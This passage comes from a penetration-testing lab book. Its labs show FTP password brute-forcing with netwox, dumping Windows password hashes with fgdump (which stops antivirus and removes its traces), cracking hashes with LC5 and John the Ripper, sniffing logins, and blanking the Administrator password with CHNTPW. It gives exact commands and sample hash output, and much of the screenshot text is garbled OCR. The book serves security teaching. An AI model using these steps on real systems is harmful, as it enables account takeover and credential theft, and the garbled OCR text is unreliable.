£3: eout in
opatfirst|+2]-—no-stopatfirst stop at First valid login Found 0 Thiz zone contains help of tool
mthread Uint32 number of threads to Launch {53 selected in Sesrch notebook
i oze 11

Exawples netuox 130 '5,6,7.8" “passwnrﬂFlla‘txt
Exanple? netuox 130 -1 8 -u "passuoidrile, txtt
Exanplet netuos 130 B 1p 5. —pazsuord-file "passucrdfiles, txt

3 cxemle | Usage | Runit (3

Hetuag version 5,18,
Lirked with netus version B,18,0
This version contains 167 tools

=

X file: ;rDDl,s\Do\sAlg

["|l

& root@localhos:
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In this example there is an FTP server located at 192.168.11.120. Anon-
ymous FTP connections are not allowed and access is controlled by usernames
and passwords.

Username.txt and Password.txt files have been created that contain a vari-
ety of combinations to be used in this lab.

The correct username/password should be mmouse and mmousel.

B Red Hat Linux B Server - VMware Workstation

File  Edit Wi Windows

PEOD P E B snepchot [ 1 = E

View Fower  Snapshot Help

File Edit Session Options

Tool rumber

Title: Brute force ftp client
Usage: netuox 130 [-i) ip [-L datal [-ul file [-d devicel [-E eth] [-e ethl [T ip] [-P port] [-p port] [-o ipdopts] [-0 ipéex
€21 [-1 Filel [-T uink32] [-=1 [-n uint32] [-v]
nane tupe [recuired=eddescription {exampl
&

03
dst-ipl ip destmatmr\ 1P address {5.6.7.8%

spagsuorel file fpssuordbile. et
levice mane

e B e 101213
destination ethernet addresz { 3
source IP address £192,168,11,1183
source port number
destinabion port nunber €213
P4 opbions
IPv6 extensions
login File dogintilestt

out. in milliseconds 600003
tupaLFlrsLHsl——nu sLDpatF]rst skop at first valid login found {03
unthr-sd uinti2 vurker of thresds to launch 5%

werbosel vl —no-verose  be verhose
Example netuox 130 e o ipassuordrile. et
Exanple: netwox 130 - !y "passwordfile, txt!
EXanple: netusx 430 st in 5,6.7,8 ——passucrd-File 'passuordfile.txtt

3 Sl | Usage | Run it |$
430 ——dst-ip "5.6.7.8" —passuord-File "passuordfile.txt”

Metuag version 5,18,0
Linked uith netuox version 6,18,0
This version contains 167 tools

el LT

“1X file: frootftools.

Py

e b

C

=

8| g
~

ey >
\\mm 3

& root@localhos.

2
3 4
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Click on the Form button at the top of the application.

Type the IP of the target in the dst-ip field.

Increase the timeout field to 60000 (6 seconds).

Select the stopatfirst option.

Browse and select the Username file for the login-file field.

Browse and select the Password file for the password-file field.
Click the Generate button and view the syntax to be executed in the
execution section (the white area below the Form section).

80 Red Hat Linux B Server - VMware Workstation
Fie Edt Miew WM Power Snapshot Windows  Help

00 | > |E2 | B snepshot ) ]

Redl Hat Linux & Serve

File Edit Session Options

= for tool 430 (Brute Force Ftp client)t
W 192.168.14.1 'ﬂust—ip: 1P zddress

Pl ] 10gin: login
N [Froshtosis/metucn £ passuord-File: passuord File

Advanced paraneters:
Lot

device: device name

sro-sthi source ethernet address

h
] E ethernet address
| sre-ip: source 1P address
h|sromport: source port nunber

] dst-port: destination port number
il

h

1]

ipdoptss IPvd options
ipgextst IPvE extensions
login-File: login file

/oot tonl s netuo £

186000 [ #[h]tineouts tineout in milliseconds
" skopatfirsts stop at first valid login found
5 ] ] b mher of thresds to launch

L vert erbose

/

$ cenerate | Run it [T ® Reer [® 2 Updste |3

[130 —dst-ip 192.168.11,120 —p. le "/roct/tools. C le "/roct/tools
I ——tikeout 60000 ——stopatfirst

Netuag werzion 5,18,0
Linked with netuox version 5,18.0
This version sontains 167 tosls

L e L8z

*| 5 file:roottoc

X
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Click the Run it again button. View the results.

Each password from the password file will be executed against the target.
Each incorrect password will return a result of bad. The correct result will
return a result of good.

In this example, the username of mmouse with the password of
mmousel returns a result of good.

15 Red|Hat Linux B Server, - VMware Workstation

File Edt View WM Fowsr Snapshot Windows Help

0l | |5 [ snapshot [ I

Red Hat Linux 8 Server

Eile Edit Session Options

Couple<threads) Uutput (stdoutd of a tool, if the
Couple<thread) checkbox HH was not checked.

Couplecthresdl) "mickey” - 123" -> bad

% comy comand | Run it again |3
130 —dst-ip 192,168.11,120 —p, e "sract tools 7 —-lagin-file "/root/tools“F

W -timsout G000 ——stopatfirzt

Running *130 ——dst-ip 192,168,11,120 —=passuord-File "/rook/tools/netuox/sre/netuox-srodsro/passuords” ~-lagin-file *rroot/too

1=/ netuox sro/nebuoy-sro/srousernanes” ——timeout 60000 -—sbopabfirst!
file:/rootytool- | @ root@localhos /@

The process returned OK
% o@ |

\\\\\\ 5

=

ad@ SOz F

-b.u

*Note: I cannot stress enough the importance of this tool for either an attacker or a
vulnerability/penetration test. The sheer amount of tools available is incredible.
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Lab 54: Retrieve Password Hashes
Extract Password Hashes: FGDump

Prerequisites: Administrative access

Countermeasures: Strong Administrator passwords, strong password policy

Description: The FGDump application was written to obtain the password
hashes from the Security Accounts Manager (SAM) file on the target
computer. The process includes:

Binding to a machine using the Inter-Process Communication (IPC$)
or list of targets

Stopping the running of antivirus programs

Locating writable file shares

Uploading fgexec (for remote command execution) and cachedump
Executing pwdump

Executing cachedump

Deleting uploaded files from the file share

Unbinding from the file share

Restarting any antivirus programs

Unbinding from IPC$

*Note: Even though an Administrator account is required, I prefer this tool over the
Pwdump application as all the work is done for me and the antivirus program
is shut down and restarted. Sometimes antivirus software will stop Pwdump
from being successful.
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Procedure: Select the target and execute with the following syntax:

fgdump <options> (-h host | -f filename) -u
Username -p Password
In this example, the target of 172.16.1.46 will have the password hashes
exploited by typing:
fgdump -vv -h 172.16.1.46 -u administrator -p 123

The —vv instructs FGDump to run in very verbose mode.
The —h 172.16.1.46 identifies the target.

The —u administrator identifies the username to use.

The —p 123 is the password for the Administrator account.

[} Windows 2000 Professional - ¥Mware Workstation ) =]

File Edit Wiew VM Team Windows Help

WINNT\System32\cmd.exe

IC=~Downloads \fgdump\Release>fgdump —vu —h 172.16.1.46 —u administrator -p 123 =

LibnethT. dil

hstart||| o] & =3 H Eindex of ... | BACwN... | yciponn.. |[Bciwn.. Efgdume .. | Sucipownl.| [Ef el soem
Boml
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According to the results of this example, the target:

B Has the entire C Drive shared as C$ (a hidden share).

B Has a mapped drive E: bound by ADMIN$ and is a writable share.

B Has no antivirus running.

The passwords were successfully dumped from the target and all traces of
the attack were removed from the target.

1 windows 2000 Professional - Yeiware Workstation = 1o =]

/1T Sysbem32 cmed ewe

Wsuant| | ) 03 || Edindenod .| Wciwie...| sciipom.. [[Mciwee Eotre .. | ycivo..] [BE S suom
[==T- T

From the directory on the attacker’s machine, two new files were created:

B 172.16.1.46.cachedump
B 172.16.1.46.pwdump

Of the two, the 172.16.1.46.pwdump is the file of interest.

] Windows 2000 Professional - Vimare Workstation 3 =10l %)
Fle Edt Wew WM Teom  Wrdoss Helo
IRl el = i fi=) =]

[y Wt 280 Protessional [l g TS T T T

B\ Downlsads' fadumg | elease
| Fe Edt Vew Favortes Took bl
dapack - = - 5] | Phsewch Aroldas (Frstery | U TI X 29| -

| Atess [ 3 £\ Dowesadlfgarp|Poriame =] e
s 1 Nag ! 1 st [ Type | MotFied 1
— WJ17216.1. 40, cathedumg LER CACHEDUMP Fle PG00 5110 P
. A 172.16.1,96, Do KB FWDLEP Fin IS8 5110 P
Release TP SRR Appheation E{IS/005 1:00 P
Tt a0 Rae b vidrr RS
drsarpton,

i chimctis] B = rer—
suant | ) 8 03 || Edindenod .| Wciwie...| icipow...| Bciwn..| EYotere .. [Sicimown.. [BE B suim
BEo@Nl .
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By opening the 172.16.1.46.pwdump file with a text editor such as
Notepad the password hashes from the target are visible.

File Edt Format Help

[AdminisTrator :500:CCFOL55ESE7DBA S3AADSEA3 58514 04 EE  3DBDERDTD7 1 E00ATAO204 BEELZ s =
ASPNET :1005: 9652 19B252089821CF31DDFL1C4 6664 2 : 8E 7CO0EEBEGEECDE2DLLB6FC7EL72
l5UBST:50LING PASSWORD PASSWORD
TUSR_w2KAS 1003 1C2FOLE1FELS6OBEECEF 54C263B8E340C: 0BAS 5 7R 07DB23EL5374B506AA1BF T4
TWAM_W2KAS 11004 :D3E225B88FD2BCEAF 7131 CAB67FE124425CD
hetshowseryices 11001 : 32LAGECFDOS ENA "2 Sl &

The 172.16.1.46.pwdump file will be used in the next lab (Lab 55 — LC5)
to produce the passwords for each account hash.

*Note: Many of you may ask, “Why should I concern myself by going to the trouble
of obtaining the password hashes just to break the hashes with another
program when I already have an Administrator account on the target?” Good
question. Several reasons are as follows: any account password can be
changed at any time; the more passwords an attacker has, the better for him
or her; some accounts on this target may have Administrative access on
another target; and the list goes on. Just because an attacker has one Admin-
istrative account is not necessarily a reason for the attacker to stop looking
for others.
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Lab 55: Crack Password Hashes
Crack and Capture Password Hashes: LC5

Prerequisites: None

Countermeasures: Strong Administrator passwords, strong password
policy

Description: LOphtcrack version 5 (LC5) is a password-auditing tool that
allows for the capturing of Windows passwords and or the conversion
of captured Windows password hashes into the correct password. This
is done by sending the captured hash through an algorithm until the
new hash exactly matches the original one. This identifies the password
that computes into the hash.

Procedure: Install the LOphtcrack application, start, select the parameters,
and execute.

Open LC5. The application will start the LC5 Wizard. Click Next.

8l Windows 2000 Professional - VMware Workstation f ~=lol x|

File Edit YView ¥M Team Windows Help

L€ 5 Wizard

Fie vView H [U

Welcome to the LS Wizard. This wizard will prompt
= vouwith stepeby-step instructions to get pou sudting in
4 minUtes.
First, the wizard wil help you determine where to refrieve
your enciypted passwords from.
Second, you will be prompted with a few aptions
reqarding which methods to use to audit the passwords.
Third, you will be prompled with how you wish to report
the resuks

The, LCS will proceed auditing the passwords and
repart status ta you along the way, natiying you when
audting is complete:

Press Next' to continue with the wizard.

™ Don't show me this wizard on startup

< Back I MNext > I Cancel

Bstart| | 1] @ =2 “ i of fremp - Micrasct... | [ [ @stake LC5 (R

Eemw
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The next area of the wizard requests a location of the encrypted passwords.
Accept the default of Retrieve from the local machine. Click Next.

Bl Windows 2000 Professional - ¥Mware Workstation B -0l

File Edic Wiew M Team windows Help

wlie & @G [=l[=]
@\Mn(luws 2000 Professional
2 ]

ol [ o ¢

x

3

& @stake
File wiew H

Choose one of the following methods ta retrisve: the:

o encypted passwards

& Retrigve from the local machine
Pulls ercrypted passwords from the local macking's
registry. Administrator acoess is required

€ Retieve from & remote machine

Rietiieve encrypted passwiords from a remate
machine on your domain, Administrator access is
required.

1 Retrieve from NT 4.0 emergency repair disk

Emergency repair disks and backup tapes made
from Windows NT 4.0 contain a fle called 'sam’ or
‘sam._" that conlains encrypted passwords.

£ Refrieve by sniffing the local network
Snilfing captures encypted hashes in tansit over
your netwark. Logins, file sharing and print sharing
3 all use netwark authentication that can be captured

Ready y
cBack [ Mews | cancdl |
%

Hstart||| 1| @ 53 || Eimdex of fremp - Microsof... |[[Gmstake Les (B ]
Somw

Next select an Auditing Method. Select Strong Password Audit. Click Next.

indows 2000 Professional - YMware Workstation

=10l |

File Edit Wew %M Team Windows Help

wie @ |86 =]

File Wiew Hi

@‘@ el © Quick Password Audit

This methad checks only for simple passwords that
you could find in a dictionary.

" Comman Password Audit

This methad checks for simple passwards that you
cauld findin  dictionary, as well as comman
madifications of dictionary words.

& Stiong Password Audt

This method checks for simple passwords that you
could findin a dictionary, commen medicatiors of
dictionary words. and peiforms  biute force attack
that attempts all combinations of standard letters
and numbers.

£ Cusiom Custom Otiors..

< Back I Next » I Cancel

Astart| | 1] @ 53 || Eimdex of fremp - Microsof .. |[[Gmstake Les o earem
Eomw
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Accept the default Reporting Style. Click Next.

windows 2000 Professional - ¥Mware Workstation =10l x|

File Edi Wiew %M Team Windows Help

R ]'ll'Jl'Iiug .“-l_\'|¢'

File Wiew H

¥ Display passwords when audited
Wt of tie time, youl want to kriow what the
audited passwords are, but in some situations, you
may wish to werify the safety of a password without
disclosing what it s. Check this bos to view the
cracked passwords in the output

™ Display enciypted password 'hashes'
Check this box to display the encrypted passwords
a3 they are seeh by the operating system. These
walues may be of interest to some users and to
athers they may seem like excess clutter. To
displap the encrypted passwords, check tis box

¥ Display how lang it took to audit each password
Checking this box will add a column to the output
wizw that shows fow long it took to audt each
password

¥ Display auditing method
Check this box to display the method used ta find
each password. This can be useful for identifying
users who have panicularly weak passwards.

P Make visible natification when auditing is dane

< Back I Next > I Cancel

Qstartm o & 3 |J & index of ftemp - Mirasof... | [ (S @stake LCS

Eo@v .

LCS is ready to begin auditing. Click Finish.

Bl windows 2000 Professional - ¥Mware Workstation (01|

File Edi Wiew YM Team ‘Windows Help

gin Auditing
File Wiew H =

@ ‘ @ 27 L5 is now ready to begin the password audiing
process. Please confim the folawing setings and o

back and change anything that is nat correct,

Fetiisve passwords from th local machine
- Perform ‘Stong passward audit
- Display domain password belongs to

Display passwords when audtad

Display time spent auditing sach password
- Give visible natfication when done audiing
- Show methad used to crack password

[¥ Save thess settings as session defaults

Press Firish' to begin audiing

< Back I Finish I Cancel

LibnetnT. dil

mstartm ) & |J {Eindex of temp - Microsof... [ (5 @stake LC5 e FM
EeBw
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LC5 will start running the hashes through the known algorithm until a
match is made. The password to create each hash will be displayed.

I Wirsderwes 2000 Prodessional | ¥Hbarr Wiarksdaliun

=1olx|
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In order to Import a captured Pwdump file, select the Import button from

the toolbar.
i

The Import Wizard will appear. Select Import from file.
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Select From PWDUMP file. Click Browse.

[ Wi
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i om0
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1 From LC4 lie
 From PWEUNP Fla

" From Unee shadow fle tine slapsed
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Browse to and select the Pwdump file created by the FGDump application
(Lab 54) and click Open.
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=il x|
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Click OK.

indows 2000 Professional

] Muware Workstation j -0l x|

File Edit View UM Team windows Help

mlr @ [ e
@ lows 2000 Professional
~lslx]

File Wiew Session Scheduls Remediate Help

SO eFHS > 0 a|

TRGTA et ]

Damain User

- Import from

FwIn-2000-0-1 Admi Filename : IC:\Duwn\uads\quump\Re\ease\17 Browse... |
' Local machine

€ Remote machine

~Import from file ————————
€ From SAM file
€ From LC4 file

& From PWOUMP file BRUTE FORCE

tine_elapsed

€ From Unix shadow File

Caleulating —
_%_done

4] |

T T2 T O 2 T S S ST COTTTTETET

Ready

listart||| ] @ 52 || 1o of femp - wicrosof... [ @stake LCS - [Untitled...

indows 2000 Professional

] Muware Workstation j -0l x|

File Edit View UM Team windows Help

{€ @stake LC5 - [Untitled1] =l= %]

File Wiew Session Scheduls Remediate Help

rOLe¥ o rnaF e

Run (Reporth, [

Damain User

eS|

Import from

Filename ;[ C:\Downbadsifodump\Releasel17  Browse...
€ Local machine

FWIN-Z000-0-1  Admi

€ Remote machine

Tmport from fle ———————
C =
CFr

“fou need to reset your auditing state ta perform this action,
& R This will restart your auditing session and start over From the beginring,
R Do you wish ta da this now?

e

aK Cancel

4] |

T T2 T O 2 T S S ST COTTTTETET

Ready

listart||| ] @ 52 || 1o of femp - wicrosof... [ @stake LCS - [Untitled...
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The Pwdump file will be imported into the LC5 application. The user-
names from the target will be displayed.

drerte o8 na @O

[/ un YRespod

Donan [ e tivne 1 | en | password | (dars) | Leck]

ﬁw&ml Adrarests ghiv {F ® 123 1%

! Aurwmts or x L]
ASPET o
s ety x tmeegt a
1R WaLAS 0
TwaM WINAS ]
PetShowSerices L]
Tainternetiiser ]
wserl x ]
une? ]
urerd o

| | 3
e
Lrorted 10 mcoonrks from PWEAR® (e I

dstane|| () @ 53 || @ aon ot powp -, | icipounionssic.., | MECwImTstn... [[Gesokercs -, [Sf @ ssim
Eo@si

Click the Start button on the toolbar. *

LC5 will grind against the usernames until each password has been iden-
tified and displayed.

*Note: 1 began using LOphtcrack when it was still in version 3 (LC3). The speed of
this application has increased drastically and is a proven, rock-solid applica-
tion to break Windows password hashes. If you can afford the full version,
I highly recommend it.

_'il'mnl 2900 Professiona
] LCS - [Unbithed ]

Fin View Session Schedue femecistn  Helo

drerte o8 r 10 PO

[/ un YRespod

Donan | e iome 1 | en | password 1 (dars) | Leck]

123 Pt [

: 0

Tty R et fi

0

0

o

o

~C E - L]

o % def []

@ X g o

Wit 2000-v-1 123 123 "

4] | 3

T T T - . =

istont]|| () @ 53 || SJiaeret promp -, | Sicipoweisssic. .| Bcwmemspan.. |[Genakeros- ., |G @ Imm
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As you may have noticed during the initial wizard, there are other options
to collect Windows password hashes.

By opening the LC5 application again the wizard will again appear. Click Next.

8l Windows 2000 Professional - ¥Mware Workstation ] _1o] x|
Fle Edt View WM Team ‘Windows Help

(S @stake L]
File View He “wieleome ta the LS Wizard. This wizard will prompt

3 you with step-by-step instructions to get you audting in
&t g e

First, the wizard will help you determine where to retrieve
your encrupted passwonds from.

Second, you will be prompted with a few options

regarding which methods (o uss to audit the passwords

Third, you wil be prompted with how you wish to report
the results,

Then, LCS will proseed audiing the passwords and
repoit status to you along the way, nalifying vou when
audiling fs complete.

Press Nest' to confinue with the wizard

™ Don't show me this wizard on startup

ook [ wets | Concal |

startm ] @& £ H Eindex of jeemp - .. | ‘Y DovnioadsiLC. . | BACHWINTISYste. . ||@@staka Lcs

Ql%ﬁ £:54 PM |
Eomi ~

This time select Retrieve by sniffing the local network. Click Next.

8 Windows 2000 Professional - ¥Mware Workstation j =10 x|

File Edit View W¥M Team ‘Windows Help

e @B GE

Get Encrypted Passwords

[S

Flle View Choose one of the following methods to retiieve the

@ | @ 48C30EEL enciypted passwords
2 ADAGY " Fetrieve fiom the local machine
2 Pulls encrypted passwords fram the local machine's
registry. Adminisirator acoess is required
© Retiieve fiom a remote machine

Retrizve encrypted passwords from 3 remate
maching om your domain. Administrator access is
required.

" Retiewe fiom NT 4.0 emergency repait disk

Emergency repair disks and backup tapes made
fram Windows NT 4.0 contain 4 file called 'sam' or
sam,_' that cortains encrypted passwords

% Retrizve by sniffing the local netwark

Sriffing captures encrupted hathes in tandt over
your neturk. Logine, fle shating and print <haring
all use network authentication that can be captured

R <Back [ He> | Concal

‘astartm ] @& =2 H § Yindes of jtemp - .. | ucHiDownioadsiLc. . | BECHWINNTSYste .. ||@@staka LCs

| essem |
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The option of Strong Password Audit should still be selected. Click Next.

8l Windows 2000 Professional - VMware Workstation ~=lol x|

File Edit View ¥M Team Windows Help

nfegepeae®s |

=, [ Windows 2000 Server | [B5 Windows 2000 Advan | 4
|

{7 Windows 2000 Professional a I i [ » %

2

~=18ix]

File WView H

&)\t

© Quick Password Audt

This method checks ol for simple passwords that
you could find in a dictionary.

" Common Password Audit

This method checks for simple passwords that you
could find in a dictionary, as well as conmon
mdficalions of dictionary words.

 Strong Password Audi
This method checks for simple passwords that you
could find i 2 dictionary. common modifications of
dictionary words, and perfomms  brute force attack
that atternpts all combinations of standard letters
and numbers

 Custom Custorn Options.

By Ready [ 4

cBaok [ Mew> | Cacel |

B CAwNTSyste. . |[((J@stake LCS @eg 655 PM ‘
=] =1TN

jﬁstart”] 1 @& 5 “ & Yindex of fremp- ... | NCiDownloadsiLe, .

The Reporting Style should still be set to the default. Click Next.

18] Windows 2000 Professional - VMware Workstation ] =101 x|

File Edit View V¥M Team Windows Help

% @stake L

Fiz View H [¥ Display passwords when audted
Host of the fime, yaull want to know what the:
audited passwords are, but in some siuations, you
map wish o verify the safely of a passward without
disclosing what it is. Check this bos to view the
cracked passwards in the output.

I™ Display enciypted password hashes'
Check this box to display the encrypted passwords
25 they are seen by the operating system. These
values may be of interest to some users and to
athers they may seem like excess clutter. To
display the encrypted passwords, check this box

[¥ Display how lona it took to audit each password
Checking this box will add a column to the cutput
wiew that shows how long it took to audit each
password

[¥ Display auditing methad

Check this box to display the method used to find
each password. This can be useful for identiving
users who have particularly weak passwords.

¥ Make visible notification when auditing ks done

cBack [ News | Concel |

B ciwmnnisyste... || (S@stake LCS
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The LC5 Wizard is almost ready to begin auditing the password hashes by
“sniffing” the local network. Click Finish.

lows 2000 Professional - ¥Mware Workstation

File Edit View WM Team ‘Windows Help

P ; oin Auditing
File ‘Wiew H
- LS s i ready to begin th password sudéing
&) | (8 Process. Please canim the falowing setings and go
o e I L o e et

Reliieve parswords by sniffing the local netwark.
Perfom ‘Strong’ passward audit
Display domain password belongs to

Display passwords when audited

Display ime spent auditing each passward
Give visible notification when done audiing
Show method used to crack password

[V Save these settings as session defaults

Press Finishi to begin audiing
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The Select Network Interface window will appear. Select the appropriate
NIC and click OK.
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LC5 is now ready to begin capturing any passwords of users logging in to
servers on the network. Click the Start Sniffing button.

*Note: Keep in mind that the traffic you see is completely dependent upon the
environment the computer “sniffing” resides in. For example, if the network
link you are using is connected to a network hub, you will be able to see all
traffic going through that hub to all other computers on that hub. If, however,
the network link you are using is connected to a switch, you will only be
able to see traffic specifically destined to/from your connection. There is a
way to “snift” traffic on a switch to show all traffic to a specific or every
computer on a switch, which will be covered in Chapter 9.
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Press 'Start Sriffing' to begin capturing data from the network. when you are done, cick *Stop
Sniffing' and the press the: Import’ bulton to keep the data. or the 'Cancel button to discard i
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Once the passwords have been captured, click the Stop Sniffing button

and view the results.
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Lab 56: Overwrite Administrator Password
Change the Administrator Password: CHNTPW

Prerequisites: Local access

Countermeasures: Strong physical security, strong access controls

Description: The Change NT Password (CHNTPW) application will
change the Administrator password regardless of what it is currently
set to. CHNTPW also demonstrates the need for strong access controls
and physical access to servers or any computer.

Procedure: Gain physical access to the computer, boot from the CHNTPW
CD, follow the on-screen instructions, change the password(s), and
reboot.

With the CHNTPW CD in the CD-ROM drive, reboot a virtual Windows
2000 machine. As the machine boots, press the Esc key to enter the Boot
Menu.

[Bf] Windows 2000 Professional - ¥Mware forks =0l x|

File Edit ‘iew %M Team Windows Help
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(s Windows 2000 Professional l_m l i

Start v |

Press F2Z to enter SETUP, F12 for Network Boot, E3C for Boot Menn
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The Boot Menu will appear.

B Windows 2000 Professional - ¥Mware W 18] x|
File  Edit View MM Team Windows Help

w0 B Bk EE 28
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+Hard Drive
CD-ROH Drive
Network boot from AMD AmMTICITOA

<Enter Setup>

oS ===

With the arrow keys highlight the number 3. CD-ROM Drive and press
the Enter key.
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The machine will boot from the CHNTPW CD.
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Uncompressing Linux.

Because VMware machines use SCSI hard drives by default, no IDE drives
will be discovered to change the password on.
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Press the M key to manually load the SCSI drivers that are included on the
CHNTPW CD.
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The SCSI drivers will scroll on the screen. You will need to press the Enter
key once to complete the list.

Press the A key to have CHNTPW try to auto-detect the correct driver by
trying all the drivers.
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CHNTPW will detect the virtual SCSI drive. Accept the default drive
detected by pressing the Enter key.
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Accept the default path to the Registry directory by pressing Enter.

Windows 2000 Professional - ¥YMware Workstatic — O] x|

File Edit Wiew %M Team ‘Windows Help

= i = | e

1C EE]
QIDQIGISE fo 5=
Sa

kol gz

river selection:
0 obe for the driver {(try all)
load more drivers
number of the desired driver

drlger select [al
SCS1I selecf =

/hnsfﬂ/busﬂ/f rget@/ disc NT parti
cs /]osta/busﬂ/targeta/l ndsparti
bv

on number or )
citions . utomatically load new disk
gad new arivers®
@ Pal Tt TE ANIVENS . Guie

/deu/scs1/ho§t0/bu§ﬂ/targetﬂ/lunB/Partl
e vergion &
is

Select PATH and registry files
is the prath to he registry directory? (relative to windows disk?

NT/SVSfEmSZ/cunflg]
Eod@w




330 ® Practical Hacking Techniques and Countermeasures

Accept the default to perform a password reset by pressing the Enter key.
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CHNTPW will determine all the user accounts on the computer. Accept
the default user of Administrator (unless you know the Administrator has been
changed — see previous labs) and press Enter.

=101 x|

File Edit Wiew %M Team ‘Windows Help

m32%Conf

w :
FY Name (fron he ot Sy
: Indezing“ioee

EEY at offset’

size 20480 L[58
for data:

‘s _mname (from h
KEY at offset:

v 4 pages
gnusedg 4/4350

indexing tyvpe

size 2195456 L[
for data:

‘s _mname C(from h
KEY at offset:

“talnl“q 929

byt . unused.

SVST 32\Conf1q
lndexlng typ

ges (+

rage
vtes

size 24576 _L[6580 ng S5 pa
or dat 32371 unused: B/436

mim  PasCpor
word history

<?» chntpw Main
Loaded hives:

Interactive Menu <>
<sam> {system> {securityd

Edit user data_and passwords

Syskey statue & change

RecovéryConscle settings

Begistry editor now with full write supportt

Wuit (vou will be asked if there is something to save)
Hhat to do? [11 -3

chntpuw Edit User Info & Passwords =

Username
Username:

{Administrator?
{Guest}, #*disabled or lockedx

11{ - list users, @x{RID> - er with ?ID Chex)

s
he username to change: [Administrator

=1 =10

At this point, you may try to enter a new password for the Administrator
account but I do not recommend it as it can cause problems.
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Instead of creating a new password for the Administrator account, blank
the Administrator account by typing * and pressing Enter.
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When asked if you really want to change the password, type Y and press Enter.

*Note: If you answer No at this point, what is the point of using this tool?
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Changed! This message appears and now you are left with an option to change
other passwords or exit. Type in ! to exit the application and press Enter.
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To quit CHNTPW type Q and press the Enter key.
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When asked about writing the files back, type Y and press the Enter key.

B Windows 2000 Professional - ¥Mware Workstation

File  Edit Vle WM Team ‘Windows Help
=] DU_ Ea %Z

Built—in account for administering the computersdomain

cgount Lits: 0xexie
Disable. dir req. Passwd not rea.
1 Tel Sliplicate 3 HHE“RGcount
Domaln trust ac i3 ¥y 2 Sru_trust act
Aut Cunknown Bx@8}
(unknuun Bx28) H funknown @x40)
ed login count: while max tries is: @
al login count:
b

Pw n*t _expir
tuhkachn esik}

lank the password (This may work better than setting a new password
r nothing to leave it unchanged

se enter new password: ¥

wking passuord?

ou really wish to change it? (ys/nd> [nl v
gedt

users, @x{RID> - Us with HID Cthex)

elegt: * - it vl 3
or simply en & username t6 Ghange: [Administratord

<> > chntpw Main Interactive Menu <> <>
Loaded hives: <sam> <system)> <{security>
1 it user data_and passwords
2 Syskey status & chang
RecoveryConsole settings
Registry editor. now with full urite suppor
By st I Lo "t P e AU 12O SRERRYEY to save
Mhat to do? [11 -3 q
Hives that have changed:

ame
@ <{sam> - OK

" Step FOURT MWriting back changes

Ec@mw

When asked about a new run, accept the default answer of no and press
Enter.

Windows 2000 Professional - YMware Worl =10l x|

File Edt Wiew WM Team ‘windows Help
mr & : @8

Select: L5 list users, @x<RID> User with RID Chex)
B 295515 en usernamiT T andnsE P aan AT« a0, T

<r= > chntrpw Main Interactive Menu {>= =<>
Loaded hives: (san} <system) {(security>
1 Edit user data_and passwords
Z Syskey status & change
RécoveryConsole settings
Registry editor. now with full urite support?
Guit C(you will be asked if there is something to sawve)
Mhat to do? [11 -> g
Hives that hawe changed:
# ne

Ha
@ <{sam> - OK

write file{s}) bac Do it? L[nl v
sam

to
Mriting

NOTE: A disk fixup will now be done.. it may take some time

Mounting volume. . OK

Processing of $MFT and $MFTHirr completed successfully.

NTFS volume version is 3.8.

Setting required flags on partition... OR

Going to empty the jourwnal ($LogFiled... OK

NTFS partition sfdeusscsis/host@/bus@/targetB/lunds/partil was processed sucecessfull

NOTE: Hindows will run a diskeheck (ehkdsk) on next bogt.
NOTE: this ol entureal iR Tnters 1 BV SR a - "InE%Ehanges

3x33% EDIT COMPLETE 3%

You can_try agaln if it somehouw failed, or you selected wrong
New run? L[inl




Brute Force m 335

Remove CHNTPW and reboot the virtual computer. More than likely the
machine will want to perform a file system check. Allow this check to complete.
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The virtual computer will boot and bring up the log-in screen. Use the
username of Administrator with no password. Press the Enter key.
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The Windows Administrator now logs in.
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Now the attacker has complete control over this computer. Had this been
a domain controller, the attacker would now have control over the domain.
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*Note: The fact that an attacker can get physical access to your server is bad enough.
CHNTPW demonstrates how that access can cost you the data on your server
or network. The reality is an attacker in this position would set up backdoors
throughout the network and return from outside the building “at will.”
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Lab 57: Brute-Force Passwords
Brute-Force Passwords for a Hashed File: John the Ripper

Prerequisites: Hashed password file

Countermeasures: Strong Administrator passwords, strong password policy

Description: John the Ripper (JtR) has been around seemingly forever.
Its ability to brute-force passwords has a proven track record. It is
flexible, fast, and efficient, which are all quality items to look for when
cracking passwords. Remember that all commands in Linux are case
sensitive.

Procedure: Configure, make, and execute with appropriate options
against a file containing hashed passwords with the following syntax:

John<options> (Password File)
In this example, from the directory containing the hashed passwords, type:
john -i pwdump
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John will start to brute-force its way through the hashed passwords until
it determines the correct password.
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To interrupt the “cracking” process, hold down the Ctrl key and press the C key.

L] lows 2000 Professional - ¥Mware Warkstation A =10l x|

Fle Edt View ¥M Team ‘Windows Help

TN =

C:\DownloadssJohn the Rippersjohn-16\run>john —i pwdump
ded 14 passuords with no different salts <NI LM DES [24/32 4K1>

{user3>
CAdministrator)
H time: B:00 13 ov 879266 trying: BELPELE - STIEFAX
ion ahorted

C:\Downloads\John the Ripperhjohn—16\run’.

Hhstart | | 1] @ =2 H B C:\WINNT\Systemaz\... & ]ohn the Ripper passwor. . | (CiDonrloadsihnthe R...| [ @88 11:05em

Eeddm




Brute Force m 339

John keeps track of the passwords it finds for each hashed file. To verify
what passwords were found, type:

john -show pwdump

Bl Windows 2000 Profession

Mware Workst:

on ] ~=lolx|

File Edit Wiew WM Team ‘Windows Help

IR =]

G:\Downloads“John the Ripperhjohn—16%runrjehn —i pudump
Loaded 14 passwords with no different salts (NI LH DES [24-32 4K1>
Cuserz)
(usertd
3

: 879266 trying: BELPELE — STIEFAR
on aborted

C:\Downloads“John the Ripper>john—16run>john -show pudump_

iﬁStart”J & 3 H B CA\WINNT\System32\,.. & ]Iohn the Ripper passwor. .. | S CrDawnladshohn the Rm| Jr@eE  105Pm

Sel@me -




340 wm Practical Hacking Techniques and Countermeasures

The passwords will be displayed unencrypted in the hash file with infor-
mation separated by a colon (). The biggest ones of concern are the first three:

B Username
B Password
B User ID

*Note: Remember that the user ID is important because a user account can be
renamed. In this example this is a hashed file from a Windows target. Referring
to Chapter 3, each user is assigned a static user ID. The Administrator account
on a Windows machine will always be 500.
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WINNT'System32}cmd.exe

[C:\Downloads™John the Ripper\john—-16\run>john —i pwdunp
ded 14 passwords u)tll no different salts (NT LM DES [24-32 4K1>

b2 06 39 ACF33 46036830 oA DBAD1 7
5 passwords cracked, 18 left
C:\Dounloads\John the Rippersjohn—16%run>

LibnethT.dl

ghstart||| () @ 3 ||[@cawinTisystemaz,.. | &30 the Ripper passwor... | yCDownloadsiobnthe R.. |

< Eig 105
Ec@ml -
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Linux has been running John the Ripper much longer than Windows. From
the directory containing the compressed files, type tar —zxvf john-1.6.tar.gz.

